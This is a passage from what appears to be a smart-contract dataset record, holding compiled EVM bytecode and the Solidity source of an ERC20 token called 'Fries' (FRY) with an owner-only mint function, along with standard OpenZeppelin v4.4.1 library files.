65b60405180910390fd5b610502856105c8565b610541576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610538906108e4565b60405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff16858760405161056a919061080c565b60006040518083038185875af1925050503d80600081146105a7576040519150601f19603f3d011682016040523d82523d6000602084013e6105ac565b606091505b50915091506105bc8282866105db565b92505050949350505050565b600080823b905060008111915050919050565b606083156105eb5782905061063b565b6000835111156105fe5782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106329190610882565b60405180910390fd5b9392505050565b60008151905061065181610bbd565b92915050565b60008151905061066681610bd4565b92915050565b60006020828403121561068257610681610a42565b5b600061069084828501610642565b91505092915050565b6000602082840312156106af576106ae610a42565b5b60006106bd84828501610657565b91505092915050565b6106cf81610991565b82525050565b60006106e08261095f565b6106ea8185610975565b93506106fa818560208601610a0f565b80840191505092915050565b61070f816109d9565b82525050565b60006107208261096a565b61072a8185610980565b935061073a818560208601610a0f565b61074381610a47565b840191505092915050565b600061075b603283610980565b915061076682610a58565b604082019050919050565b600061077e602683610980565b915061078982610aa7565b604082019050919050565b60006107a1601d83610980565b91506107ac82610af6565b602082019050919050565b60006107c4602a83610980565b91506107cf82610b1f565b604082019050919050565b60006107e7602383610980565b91506107f282610b6e565b604082019050919050565b610806816109cf565b82525050565b600061081882846106d5565b915081905092915050565b600060208201905061083860008301846106c6565b92915050565b600060408201905061085360008301856106c6565b61086060208301846107fd565b9392505050565b600060208201905061087c6000830184610706565b92915050565b6000602082019050818103600083015261089c8184610715565b905092915050565b600060208201905081810360008301526108bd8161074e565b9050919050565b600060208201905081810360008301526108dd81610771565b9050919050565b600060208201905081810360008301526108fd81610794565b9050919050565b6000602082019050818103600083015261091d816107b7565b9050919050565b6000602082019050818103600083015261093d816107da565b9050919050565b600060208201905061095960008301846107fd565b92915050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b600061099c826109af565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006109e4826109eb565b9050919050565b60006109f6826109fd565b9050919050565b6000610a08826109af565b9050919050565b60005b83811015610a2d578082015181840152602081019050610a12565b83811115610a3c576000848401525b50505050565b600080fd5b6000601f19601f8301169050919050565b7f546f6b656e54696d656c6f636b3a2063757272656e742074696d65206973206260008201527f65666f72652072656c656173652074696d650000000000000000000000000000602082015250565b7f416464726573733a20696e73756666696369656e742062616c616e636520666f60008201527f722063616c6c0000000000000000000000000000000000000000000000000000602082015250565b7f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000600082015250565b7f5361666545524332303a204552433230206f7065726174696f6e20646964206e60008201527f6f74207375636365656400000000000000000000000000000000000000000000602082015250565b7f546f6b656e54696d656c6f636b3a206e6f20746f6b656e7320746f2072656c6560008201527f6173650000000000000000000000000000000000000000000000000000000000602082015250565b610bc6816109a3565b8114610bd157600080fd5b50565b610bdd816109cf565b8114610be857600080fd5b5056fea2646970667358221220e8e7fb30015a0e410e32480de03349c64a9577273bc054a1bf490627852c998264736f6c63430008070033
[ 38 ]
0xF3863142d2eEe19d84Cf958b09fCd5B8c65121f6
// SPDX-License-Identifier: MIT import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract Fries is ERC20, ERC20Burnable, Ownable { constructor() ERC20("Fries", "FRY") { _mint(msg.sender, 100000000 * 10**18); } function mint(uint256 _amount, address _to) external onlyOwner { _mint(_to, _amount); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Burnable.sol) pragma solidity ^0.8.0; import "../ERC20.sol"; import "../../../utils/Context.sol"; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 currentAllowance = allowance(account, _msgSender()); require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance"); unchecked { _approve(account, _msgSender(), currentAllowance - amount); } _burn(account, amount); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c8063715018a6116100a257806395d89b411161007157806395d89b41146102a6578063a457c2d7146102c4578063a9059cbb146102f4578063dd62ed3e14610324578063f2fde38b146103545761010b565b8063715018a61461024657806379cc6790146102505780638da5cb5b1461026c57806394bf804d1461028a5761010b565b8063313ce567116100de578063313ce567146101ac57806339509351146101ca57806342966c68146101fa57806370a08231146102165761010b565b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015e57806323b872dd1461017c575b600080fd5b610118610370565b6040516101259190611750565b60405180910390f35b6101486004803603810190610143919061143d565b610402565b6040516101559190611735565b60405180910390f35b610166610420565b6040516101739190611912565b60405180910390f35b610196600480360381019061019191906113ee565b61042a565b6040516101a39190611735565b60405180910390f35b6101b4610522565b6040516101c1919061192d565b60405180910390f35b6101e460048036038101906101df919061143d565b61052b565b6040516101f19190611735565b60405180910390f35b610214600480360381019061020f9190611479565b6105d7565b005b610230600480360381019061022b9190611389565b6105eb565b60405161023d9190611912565b60405180910390f35b61024e610633565b005b61026a6004803603810190610265919061143d565b6106bb565b005b610274610736565b604051610281919061171a565b60405180910390f35b6102a4600480360381019061029f91906114a2565b610760565b005b6102ae6107ea565b6040516102bb9190611750565b60405180910390f35b6102de60048036038101906102d9919061143d565b61087c565b6040516102eb9190611735565b60405180910390f35b61030e6004803603810190610309919061143d565b610967565b60405161031b9190611735565b60405180910390f35b61033e600480360381019061033991906113b2565b610985565b60405161034b9190611912565b60405180910390f35b61036e60048036038101906103699190611389565b610a0c565b005b60606003805461037f90611a76565b80601f01602080910402602001604051908101604052809291908181526020018280546103ab90611a76565b80156103f85780601f106103cd576101008083540402835291602001916103f8565b820191906000526020600020905b8154815290600101906020018083116103db57829003601f168201915b5050505050905090565b600061041661040f610b04565b8484610b0c565b6001905092915050565b6000600254905090565b6000610437848484610cd7565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610482610b04565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610502576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104f990611812565b60405180910390fd5b6105168561050e610b04565b858403610b0c565b60019150509392505050565b60006012905090565b60006105cd610538610b04565b848460016000610546610b04565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105c89190611964565b610b0c565b6001905092915050565b6105e86105e2610b04565b82610f58565b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61063b610b04565b73ffffffffffffffffffffffffffffffffffffffff16610659610736565b73ffffffffffffffffffffffffffffffffffffffff16146106af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106a690611832565b60405180910390fd5b6106b9600061112f565b565b60006106ce836106c9610b04565b610985565b905081811015610713576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070a90611852565b60405180910390fd5b6107278361071f610b04565b848403610b0c565b6107318383610f58565b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610768610b04565b73ffffffffffffffffffffffffffffffffffffffff16610786610736565b73ffffffffffffffffffffffffffffffffffffffff16146107dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d390611832565b60405180910390fd5b6107e681836111f5565b5050565b6060600480546107f990611a76565b80601f016020809104026020016040519081016040528092919081815260200182805461082590611a76565b80156108725780601f1061084757610100808354040283529160200191610872565b820191906000526020600020905b81548152906001019060200180831161085557829003601f168201915b5050505050905090565b6000806001600061088b610b04565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610948576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093f906118d2565b60405180910390fd5b61095c610953610b04565b85858403610b0c565b600191505092915050565b600061097b610974610b04565b8484610cd7565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a14610b04565b73ffffffffffffffffffffffffffffffffffffffff16610a32610736565b73ffffffffffffffffffffffffffffffffffffffff1614610a88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7f90611832565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610af8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aef906117b2565b60405180910390fd5b610b018161112f565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b73906118b2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610bec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be3906117d2565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cca9190611912565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3e90611892565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610db7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dae90611772565b60405180910390fd5b610dc2838383611355565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610e48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3f906117f2565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610edb9190611964565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f3f9190611912565b60405180910390a3610f5284848461135a565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fbf90611872565b60405180910390fd5b610fd482600083611355565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561105a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105190611792565b60405180910390fd5b8181036000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008282546110b191906119ba565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111169190611912565b60405180910390a361112a8360008461135a565b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611265576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125c906118f2565b60405180910390fd5b61127160008383611355565b80600260008282546112839190611964565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112d89190611964565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161133d9190611912565b60405180910390a36113516000838361135a565b5050565b505050565b505050565b60008135905061136e81611ece565b92915050565b60008135905061138381611ee5565b92915050565b60006020828403121561139b57600080fd5b60006113a98482850161135f565b91505092915050565b600080604083850312156113c557600080fd5b60006113d38582860161135f565b92505060206113e48582860161135f565b9150509250929050565b60008060006060848603121561140357600080fd5b60006114118682870161135f565b93505060206114228682870161135f565b925050604061143386828701611374565b9150509250925092565b6000806040838503121561145057600080fd5b600061145e8582860161135f565b925050602061146f85828601611374565b9150509250929050565b60006020828403121561148b57600080fd5b600061149984828501611374565b91505092915050565b600080604083850312156114b557600080fd5b60006114c385828601611374565b92505060206114d48582860161135f565b9150509250929050565b6114e7816119ee565b82525050565b6114f681611a00565b82525050565b600061150782611948565b6115118185611953565b9350611521818560208601611a43565b61152a81611b06565b840191505092915050565b6000611542602383611953565b915061154d82611b17565b604082019050919050565b6000611565602283611953565b915061157082611b66565b604082019050919050565b6000611588602683611953565b915061159382611bb5565b604082019050919050565b60006115ab602283611953565b91506115b682611c04565b604082019050919050565b60006115ce602683611953565b91506115d982611c53565b604082019050919050565b60006115f1602883611953565b91506115fc82611ca2565b604082019050919050565b6000611614602083611953565b915061161f82611cf1565b602082019050919050565b6000611637602483611953565b915061164282611d1a565b604082019050919050565b600061165a602183611953565b915061166582611d69565b604082019050919050565b600061167d602583611953565b915061168882611db8565b604082019050919050565b60006116a0602483611953565b91506116ab82611e07565b604082019050919050565b60006116c3602583611953565b91506116ce82611e56565b604082019050919050565b60006116e6601f83611953565b91506116f182611ea5565b602082019050919050565b61170581611a2c565b82525050565b61171481611a36565b82525050565b600060208201905061172f60008301846114de565b92915050565b600060208201905061174a60008301846114ed565b92915050565b6000602082019050818103600083015261176a81846114fc565b905092915050565b6000602082019050818103600083015261178b81611535565b9050919050565b600060208201905081810360008301526117ab81611558565b9050919050565b600060208201905081810360008301526117cb8161157b565b9050919050565b600060208201905081810360008301526117eb8161159e565b9050919050565b6000602082019050818103600083015261180b816115c1565b9050919050565b6000602082019050818103600083015261182b816115e4565b9050919050565b6000602082019050818103600083015261184b81611607565b9050919050565b6000602082019050818103600083015261186b8161162a565b9050919050565b6000602082019050818103600083015261188b8161164d565b9050919050565b600060208201905081810360008301526118ab81611670565b9050919050565b600060208201905081810360008301526118cb81611693565b9050919050565b600060208201905081810360008301526118eb816116b6565b9050919050565b6000602082019050818103600083015261190b816116d9565b9050919050565b600060208201905061192760008301846116fc565b92915050565b6000602082019050611942600083018461170b565b92915050565b600081519050919050565b600082825260208201905092915050565b600061196f82611a2c565b915061197a83611a2c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156119af576119ae611aa8565b5b828201905092915050565b60006119c582611a2c565b91506119d083611a2c565b9250828210156119e3576119e2611aa8565b5b828203905092915050565b60006119f982611a0c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611a61578082015181840152602081019050611a46565b83811115611a70576000848401525b50505050565b60006002820490506001821680611a8e57607f821691505b60208210811415611aa257611aa1611ad7565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a206275726e20616d6f756e74206578636565647320616c6c6f7760008201527f616e636500000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f